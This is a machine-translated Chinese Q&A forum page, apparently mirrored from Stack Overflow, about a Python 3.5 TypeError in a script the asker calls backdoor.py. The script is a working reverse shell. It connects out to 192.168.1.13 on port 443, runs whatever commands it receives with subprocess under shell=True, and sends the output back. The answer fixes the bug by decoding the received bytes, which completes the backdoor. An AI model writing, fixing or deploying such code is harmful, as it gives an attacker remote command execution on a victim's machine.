2016-02-14 70 views
-2

Python3.5類型錯誤:類型的參數「詮釋」不是可迭代的後門Python3.5類型錯誤:類型「詮釋」的說法是不迭代後門

我得到這個錯誤:

Traceback (most recent call last): 
File "E:\Users\x\Desktop\backdoor.py", line 13, in <module> 
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) 
File "E:\Users\x\AppData\Local\Programs\Python\Python35-32\lib\subprocess.py", line 950, in __init__ 
restore_signals, start_new_session) 
File "E:\Users\x\AppData\Local\Programs\Python\Python35-32\lib\subprocess.py", line 1194, in _execute_child 
args = list2cmdline(args) 
File "E:\Users\x\AppData\Local\Programs\Python\Python35-32\lib\subprocess.py", line 754, in list2cmdline 
needquote = (" " in arg) or ("\t" in arg) or not arg 
TypeError: argument of type 'int' is not iterable 

每當我運行時,連接並在我的控制檯中輸入IP config。這裏是腳本:

#!/usr/bin/python 

import socket,subprocess 
HOST = '192.168.1.13' 
PORT = 443 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.connect((HOST, PORT)) 
s.send(('[*] Connection Established!').encode()) 

while 1: 
    data = s.recv(1024) 
    if data == "quit": break 
    proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) 
    stdoutput = proc.stdout.read() + proc.stderr.read() 
    s.send((stdoutput).encode()) 

s.close() 

回答

0

您正在從套接字讀取二進制數據,然後將其視爲字符串對象。就像發送數據需要.encode(),閱讀它(作爲字符串)需要.decode()

data = s.recv(1024).decode() 
+0

謝謝你soo !! –

相關問題